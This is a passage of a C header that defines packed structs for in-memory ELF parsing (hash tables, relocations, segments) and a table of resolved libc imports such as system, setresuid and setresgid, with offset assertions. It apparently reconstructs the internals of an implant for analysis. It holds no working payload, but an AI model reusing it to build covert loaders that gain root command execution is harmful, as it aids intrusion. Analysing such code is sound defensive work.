PADDING(7);
/**
* @brief number of GNU hash buckets (from DT_GNU_HASH)
*/
u32 gnu_hash_nbuckets;
/**
* @brief last valid bloom value
*/
u32 gnu_hash_last_bloom;
u32 gnu_hash_bloom_shift;
PADDING(4);
u64 *gnu_hash_bloom;
u32 *gnu_hash_buckets;
u32 *gnu_hash_chain;
} elf_info_t;
assert_offset(elf_info_t, elfbase, 0x0);
assert_offset(elf_info_t, first_vaddr, 0x8);
assert_offset(elf_info_t, phdrs, 0x10);
assert_offset(elf_info_t, e_phnum, 0x18);
assert_offset(elf_info_t, dyn, 0x20);
assert_offset(elf_info_t, dyn_num_entries, 0x28);
assert_offset(elf_info_t, strtab, 0x30);
assert_offset(elf_info_t, symtab, 0x38);
assert_offset(elf_info_t, plt_relocs, 0x40);
assert_offset(elf_info_t, plt_relocs_num, 0x48);
assert_offset(elf_info_t, gnurelro_found, 0x4C);
assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
assert_offset(elf_info_t, gnurelro_memsize, 0x58);
assert_offset(elf_info_t, verdef, 0x60);
assert_offset(elf_info_t, verdef_num, 0x68);
assert_offset(elf_info_t, versym, 0x70);
assert_offset(elf_info_t, rela_relocs, 0x78);
assert_offset(elf_info_t, rela_relocs_num, 0x80);
assert_offset(elf_info_t, relr_relocs, 0x88);
assert_offset(elf_info_t, relr_relocs_num, 0x90);
assert_offset(elf_info_t, code_segment_start, 0x98);
assert_offset(elf_info_t, code_segment_size, 0xA0);
assert_offset(elf_info_t, rodata_segment_start, 0xA8);
assert_offset(elf_info_t, rodata_segment_size, 0xB0);
assert_offset(elf_info_t, data_segment_start, 0xB8);
assert_offset(elf_info_t, data_segment_size, 0xC0);
assert_offset(elf_info_t, data_segment_alignment, 0xC8);
assert_offset(elf_info_t, flags, 0xD0);
assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
static_assert(sizeof(elf_info_t) == 0x100);
typedef struct __attribute__((packed)) libc_imports {
u32 resolved_imports_count;
PADDING(4);
size_t (*malloc_usable_size)(void *ptr);
uid_t (*getuid)(void);
void (*exit)(int status);
int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
int (*system)(const char *command);
ssize_t (*write)(int fd, const void *buf, size_t count);
int (*pselect)(
int nfds, fd_set *readfds, fd_set *writefds,
fd_set *exceptfds, const struct timespec *timeout,
const sigset_t *sigmask);
ssize_t (*read)(int fd, void *buf, size_t count);
int *(*__errno_location)(void);
int (*setlogmask)(int mask);
int (*shutdown)(int sockfd, int how);
void *__libc_stack_end;
} libc_imports_t;
assert_offset(libc_imports_t, resolved_imports_count, 0);
assert_offset(libc_imports_t, malloc_usable_size, 8);
assert_offset(libc_imports_t, getuid, 0x10);
assert_offset(libc_imports_t, exit, 0x18);